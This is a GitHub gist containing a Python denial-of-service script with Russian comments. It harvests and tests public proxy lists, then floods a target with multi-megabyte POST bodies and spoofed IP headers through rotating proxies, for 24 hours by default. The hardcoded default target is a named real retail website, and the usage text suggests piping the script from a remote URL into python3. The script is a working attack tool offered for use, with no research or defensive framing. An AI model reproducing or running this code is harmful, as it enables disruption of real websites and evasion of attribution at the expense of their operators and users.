Skip to content

Instantly share code, notes, and snippets.

@RoninReilly
Created July 25, 2025 09:58
Show Gist options
  • Select an option

  • Save RoninReilly/a20aff67c0602e8082c9629e7181de9c to your computer and use it in GitHub Desktop.

Select an option

Save RoninReilly/a20aff67c0602e8082c9629e7181de9c to your computer and use it in GitHub Desktop.
🔥 DoS Attack FINAL - Find 100 Working Proxies First
#!/usr/bin/env python3
"""
🔥 ФИНАЛЬНАЯ DoS АТАКА - НАЙТИ 100 РАБОЧИХ ПРОКСИ И АТАКОВАТЬ 🔥
Версия с обязательным поиском рабочих прокси перед атакой
Использование:
python3 simple_dos_server_final.py
python3 simple_dos_server_final.py --target https://example.com --threads 50 --duration 3600
curl -s https://your-server.com/simple_dos_server_final.py | python3
"""
import requests
import threading
import time
import random
import os
import sys
import argparse
from datetime import datetime
from collections import deque
import json
import concurrent.futures
# Автоматическая установка зависимостей
def install_requirements():
"""Автоматически устанавливает необходимые зависимости"""
try:
import requests
except ImportError:
print("📦 Устанавливаю requests...")
os.system(f"{sys.executable} -m pip install requests")
import requests
# --- КОНФИГУРАЦИЯ ПО УМОЛЧАНИЮ ---
DEFAULT_CONFIG = {
'target_url': "https://bertazzoni.com.ru/bertazzoni/?limit=1000",
'thread_count': 50,
'attack_duration': 86400, # 24 часа
'log_interval': 5,
'auto_proxy_download': True,
'proxy_sources': [
{"type": "http", "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt", "timeout": 10},
{"type": "socks4", "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/refs/heads/master/socks4.txt", "timeout": 10},
{"type": "socks5", "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/refs/heads/master/socks5.txt", "timeout": 10}
],
'required_working_proxies': 100, # Минимум рабочих прокси для начала
'memory_bomb_size': 2000000, # 2MB
'request_timeout': 12, # 12 сек
'proxy_test_timeout': 8, # 8 сек для тестирования
'max_test_workers': 50, # Потоков для тестирования прокси
'proxy_file': "proxy.txt"
}
# Глобальные переменные
all_proxies = []
working_proxies = []
dead_proxies = set()
proxy_types = {}
proxy_test_results = {}
current_proxy_index = 0
stats = {
'total': 0,
'success': 0,
'failed': 0,
'times': deque(maxlen=100),
'proxy_success': {},
'proxy_failed': {},
'server_status': 'Unknown',
'start_time': None,
'last_response_time': 0,
'requests_per_second': 0,
'avg_response_time': 0,
'attack_running': False
}
lock = threading.Lock()
def log(message, level="INFO"):
"""Простое логирование"""
timestamp = datetime.now().strftime("%H:%M:%S")
print(f"[{timestamp}] [{level}] {message}")
def download_proxies():
"""Скачивает прокси из источников SpeedX"""
log("🌐 Скачиваю прокси от SpeedX...")
all_downloaded = []
for source in DEFAULT_CONFIG['proxy_sources']:
try:
log(f"📥 Загружаю {source['type']} прокси...")
response = requests.get(source['url'], timeout=source['timeout'])
if response.status_code == 200:
proxies_from_source = [line.strip() for line in response.text.split('\n') if line.strip()]
for proxy in proxies_from_source:
all_downloaded.append(proxy)
proxy_types[proxy] = source['type']
log(f"✅ Получено {len(proxies_from_source)} {source['type']} прокси")
except Exception as e:
log(f"❌ Ошибка загрузки {source['type']} прокси: {e}", "ERROR")
# Сохраняем в файл
if all_downloaded:
with open(DEFAULT_CONFIG['proxy_file'], 'w') as f:
for proxy in all_downloaded:
f.write(f"{proxy}|{proxy_types.get(proxy, 'http')}\n")
log(f"💾 Сохранено {len(all_downloaded)} прокси в {DEFAULT_CONFIG['proxy_file']}")
return all_downloaded
return []
def load_proxies():
"""Загружает прокси из файла или скачивает их"""
global all_proxies, proxy_types
# Пытаемся загрузить из файла
if os.path.exists(DEFAULT_CONFIG['proxy_file']):
try:
with open(DEFAULT_CONFIG['proxy_file'], 'r', encoding='utf-8') as f:
for line in f:
line = line.strip()
if line:
if '|' in line:
proxy, ptype = line.split('|', 1)
all_proxies.append(proxy)
proxy_types[proxy] = ptype
else:
all_proxies.append(line)
proxy_types[line] = 'http'
if all_proxies:
log(f"📋 Загружено {len(all_proxies)} прокси из файла")
return True
except Exception as e:
log(f"❌ Ошибка чтения файла прокси: {e}", "ERROR")
# Если файла нет или он пустой, скачиваем
if DEFAULT_CONFIG['auto_proxy_download']:
downloaded = download_proxies()
if downloaded:
all_proxies = downloaded
return True
log("❌ Не удалось загрузить прокси", "ERROR")
return False
def format_proxy(proxy_url, proxy_type='http'):
"""Форматирует прокси для requests"""
if proxy_type == 'socks4':
if not proxy_url.startswith('socks4://'):
proxy_url = 'socks4://' + proxy_url
elif proxy_type == 'socks5':
if not proxy_url.startswith('socks5://'):
proxy_url = 'socks5://' + proxy_url
else: # http
if not proxy_url.startswith(('http://', 'https://')):
proxy_url = 'http://' + proxy_url
return {
'http': proxy_url,
'https': proxy_url
}
def test_single_proxy(proxy_url, test_url="http://httpbin.org/ip"):
"""Тестирует один прокси"""
try:
proxy_type = proxy_types.get(proxy_url, 'http')
proxy_dict = format_proxy(proxy_url, proxy_type)
start_time = time.time()
response = requests.get(
test_url,
proxies=proxy_dict,
timeout=DEFAULT_CONFIG['proxy_test_timeout'],
headers={'User-Agent': 'Mozilla/5.0 (Test)'}
)
response_time = time.time() - start_time
if response.status_code == 200 and response_time < 15: # Быстрые прокси
return True, response_time
except:
pass
return False, 0
def find_working_proxies():
"""Ищет рабочие прокси до достижения нужного количества"""
global working_proxies
log(f"🔍 Ищу {DEFAULT_CONFIG['required_working_proxies']} рабочих прокси...")
log(f"📊 Всего прокси для тестирования: {len(all_proxies)}")
working_proxies = []
tested_count = 0
# Перемешиваем прокси для случайности
test_proxies = all_proxies.copy()
random.shuffle(test_proxies)
# Тестируем пачками
batch_size = DEFAULT_CONFIG['max_test_workers']
for i in range(0, len(test_proxies), batch_size):
if len(working_proxies) >= DEFAULT_CONFIG['required_working_proxies']:
break
batch = test_proxies[i:i + batch_size]
with concurrent.futures.ThreadPoolExecutor(max_workers=DEFAULT_CONFIG['max_test_workers']) as executor:
future_to_proxy = {executor.submit(test_single_proxy, proxy): proxy for proxy in batch}
for future in concurrent.futures.as_completed(future_to_proxy):
proxy = future_to_proxy[future]
tested_count += 1
try:
is_working, response_time = future.result()
if is_working:
working_proxies.append(proxy)
proxy_test_results[proxy] = response_time
log(f"✅ Рабочий прокси #{len(working_proxies)}: {proxy} ({response_time:.2f}s)")
if len(working_proxies) >= DEFAULT_CONFIG['required_working_proxies']:
break
else:
dead_proxies.add(proxy)
except Exception as e:
dead_proxies.add(proxy)
log(f"📊 Протестировано: {tested_count}, Найдено рабочих: {len(working_proxies)}")
if len(working_proxies) >= DEFAULT_CONFIG['required_working_proxies']:
break
log(f"🎯 Найдено {len(working_proxies)} рабочих прокси из {tested_count} протестированных")
if len(working_proxies) < DEFAULT_CONFIG['required_working_proxies']:
log(f"⚠️ Найдено только {len(working_proxies)} рабочих прокси (требуется {DEFAULT_CONFIG['required_working_proxies']})")
if len(working_proxies) < 10:
log("❌ Слишком мало рабочих прокси для эффективной атаки", "ERROR")
return False
# Сортируем по скорости (быстрые первыми)
working_proxies.sort(key=lambda p: proxy_test_results.get(p, 999))
log(f"🚀 Прокси отсортированы по скорости, самый быстрый: {working_proxies[0]} ({proxy_test_results[working_proxies[0]]:.2f}s)")
return True
def get_next_working_proxy():
"""Возвращает следующий рабочий прокси по ротации"""
global current_proxy_index
if not working_proxies:
return None
with lock:
current_proxy_index = (current_proxy_index + 1) % len(working_proxies)
return working_proxies[current_proxy_index]
def aggressive_attack(target_url):
"""Агрессивная атака через рабочие прокси"""
proxy_url = get_next_working_proxy()
if not proxy_url:
return False
try:
proxy_type = proxy_types.get(proxy_url, 'http')
proxy_dict = format_proxy(proxy_url, proxy_type)
# Агрессивные данные
attack_data = {
'memory_payload': 'X' * DEFAULT_CONFIG['memory_bomb_size'],
'attack_type': 'memory_exhaustion',
'attack_id': str(random.randint(100000, 999999)),
'timestamp': str(time.time())
}
# Добавляем много параметров для нагрузки
for i in range(50):
attack_data[f'param_{i}'] = f'value_{i}_{random.randint(1000,9999)}'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': f'Mozilla/5.0 (Attack-{random.randint(1000,9999)})',
'Connection': 'close',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'X-Forwarded-For': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}',
'X-Real-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}',
'X-Originating-IP': f'{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}'
}
start_time = time.time()
response = requests.post(
target_url,
data=attack_data,
headers=headers,
proxies=proxy_dict,
timeout=DEFAULT_CONFIG['request_timeout'],
allow_redirects=False,
verify=False
)
response_time = time.time() - start_time
with lock:
stats['success'] += 1
stats['total'] += 1
stats['times'].append(response_time)
stats['last_response_time'] = response_time
if proxy_url not in stats['proxy_success']:
stats['proxy_success'][proxy_url] = 0
stats['proxy_success'][proxy_url] += 1
# Определяем статус сервера
if response_time > 15:
stats['server_status'] = 'КРИТИЧЕСКИ ПЕРЕГРУЖЕН'
elif response_time > 10:
stats['server_status'] = 'СИЛЬНО ПЕРЕГРУЖЕН'
elif response_time > 5:
stats['server_status'] = 'ПЕРЕГРУЖЕН'
elif response_time > 2:
stats['server_status'] = 'ПОД НАГРУЗКОЙ'
else:
stats['server_status'] = 'СТАБИЛЬНЫЙ'
return True
except Exception as e:
with lock:
stats['failed'] += 1
stats['total'] += 1
if proxy_url not in stats['proxy_failed']:
stats['proxy_failed'][proxy_url] = 0
stats['proxy_failed'][proxy_url] += 1
return False
def attack_worker(target_url, duration):
"""Рабочий поток атаки"""
start_time = time.time()
while stats['attack_running'] and (time.time() - start_time) < duration:
if not working_proxies:
log("❌ Нет рабочих прокси, останавливаю поток", "ERROR")
break
aggressive_attack(target_url)
# Минимальная задержка для агрессивности
time.sleep(random.uniform(0.01, 0.03))
def calculate_rps():
"""Вычисляет запросы в секунду"""
if not stats['start_time']:
return 0
elapsed = time.time() - stats['start_time']
if elapsed > 0:
return stats['total'] / elapsed
return 0
def get_avg_response_time():
"""Вычисляет среднее время ответа"""
if stats['times']:
return sum(stats['times']) / len(stats['times'])
return 0
def print_stats():
"""Выводит статистику в консоль"""
if stats['total'] == 0:
return
success_rate = (stats['success'] / stats['total']) * 100
rps = calculate_rps()
avg_time = get_avg_response_time()
elapsed = time.time() - stats['start_time'] if stats['start_time'] else 0
log("=" * 80)
log(f"📊 СТАТИСТИКА АТАКИ")
log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
log(f"⏰ Время работы: {elapsed:.0f}с")
log(f"📈 Всего запросов: {stats['total']:,}")
log(f"✅ Успешных: {stats['success']:,} ({success_rate:.1f}%)")
log(f"❌ Неудачных: {stats['failed']:,}")
log(f"🚀 Скорость: {rps:.1f} req/sec")
log(f"⏱️ Среднее время ответа: {avg_time:.3f}с")
log(f"🌐 Рабочих прокси: {len(working_proxies):,}")
log(f"💀 Мертвых прокси: {len(dead_proxies):,}")
log(f"🔥 Статус сервера: {stats['server_status']}")
log("=" * 80)
def stats_monitor(log_interval):
"""Мониторинг статистики в отдельном потоке"""
while stats['attack_running']:
time.sleep(log_interval)
if stats['attack_running']:
print_stats()
def parse_arguments():
"""Парсит аргументы командной строки"""
parser = argparse.ArgumentParser(description='🔥 Финальная DoS атака с поиском рабочих прокси')
parser.add_argument('--target', '-t', default=DEFAULT_CONFIG['target_url'],
help='URL цели для атаки')
parser.add_argument('--threads', '-th', type=int, default=DEFAULT_CONFIG['thread_count'],
help='Количество потоков')
parser.add_argument('--duration', '-d', type=int, default=DEFAULT_CONFIG['attack_duration'],
help='Длительность атаки в секундах')
parser.add_argument('--required-proxies', '-rp', type=int, default=DEFAULT_CONFIG['required_working_proxies'],
help='Минимум рабочих прокси для начала атаки')
parser.add_argument('--log-interval', '-l', type=int, default=DEFAULT_CONFIG['log_interval'],
help='Интервал вывода статистики в секундах')
parser.add_argument('--no-auto-proxy', action='store_true',
help='Отключить автоматическое скачивание прокси')
parser.add_argument('--silent', '-s', action='store_true',
help='Тихий режим (минимум логов)')
return parser.parse_args()
def main():
"""Основная функция"""
global stats
# Устанавливаем зависимости
install_requirements()
# Парсим аргументы
args = parse_arguments()
# Обновляем конфигурацию
DEFAULT_CONFIG['target_url'] = args.target
DEFAULT_CONFIG['thread_count'] = args.threads
DEFAULT_CONFIG['attack_duration'] = args.duration
DEFAULT_CONFIG['log_interval'] = args.log_interval
DEFAULT_CONFIG['required_working_proxies'] = args.required_proxies
DEFAULT_CONFIG['auto_proxy_download'] = not args.no_auto_proxy
if not args.silent:
log("🔥🔥🔥 ЗАПУСК ФИНАЛЬНОЙ DoS АТАКИ 🔥🔥🔥")
log(f"🎯 Цель: {DEFAULT_CONFIG['target_url']}")
log(f"🧵 Потоков: {DEFAULT_CONFIG['thread_count']}")
log(f"⏰ Длительность: {DEFAULT_CONFIG['attack_duration']} секунд")
log(f"🎯 Требуется рабочих прокси: {DEFAULT_CONFIG['required_working_proxies']}")
log("🚀 Методы: Aggressive Memory + Multi-param + Proxy Rotation")
# Загружаем прокси
if not load_proxies():
log("❌ Не удалось загрузить прокси. Завершение работы.", "ERROR")
return 1
if not args.silent:
log(f"✅ Загружено {len(all_proxies):,} прокси")
# Ищем рабочие прокси
if not find_working_proxies():
log("❌ Не удалось найти достаточно рабочих прокси. Завершение работы.", "ERROR")
return 1
if not args.silent:
log(f"🎯 Найдено {len(working_proxies):,} рабочих прокси")
log("🚀 Начинаю агрессивную атаку...")
stats['start_time'] = time.time()
stats['attack_running'] = True
# Запускаем атакующие потоки
threads = []
for i in range(DEFAULT_CONFIG['thread_count']):
thread = threading.Thread(
target=attack_worker,
args=(DEFAULT_CONFIG['target_url'], DEFAULT_CONFIG['attack_duration'])
)
thread.daemon = True
threads.append(thread)
thread.start()
# Запускаем мониторинг статистики
if not args.silent:
stats_thread = threading.Thread(
target=stats_monitor,
args=(DEFAULT_CONFIG['log_interval'],)
)
stats_thread.daemon = True
stats_thread.start()
# Ждем завершения атаки
try:
start_time = time.time()
while stats['attack_running'] and (time.time() - start_time) < DEFAULT_CONFIG['attack_duration']:
time.sleep(1)
stats['attack_running'] = False
if not args.silent:
log("🔥 АТАКА ЗАВЕРШЕНА 🔥")
print_stats()
# Финальная оценка
avg_time = get_avg_response_time()
if avg_time > 15.0:
log("🔥🔥🔥🔥 СЕРВЕР ПОЛНОСТЬЮ ПАРАЛИЗОВАН! 🔥🔥🔥🔥")
elif avg_time > 10.0:
log("🔥🔥🔥 СЕРВЕР КРИТИЧЕСКИ ПЕРЕГРУЖЕН! 🔥🔥🔥")
elif avg_time > 5.0:
log("🔥🔥 СЕРВЕР СИЛЬНО ЗАМЕДЛИЛСЯ! 🔥🔥")
elif avg_time > 2.0:
log("🔥 Сервер под серьезной нагрузкой! 🔥")
else:
log("⚠️ Сервер устоял против атаки")
return 0
except KeyboardInterrupt:
stats['attack_running'] = False
if not args.silent:
log("🛑 АТАКА ОСТАНОВЛЕНА ПОЛЬЗОВАТЕЛЕМ")
return 0
if __name__ == "__main__":
sys.exit(main())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment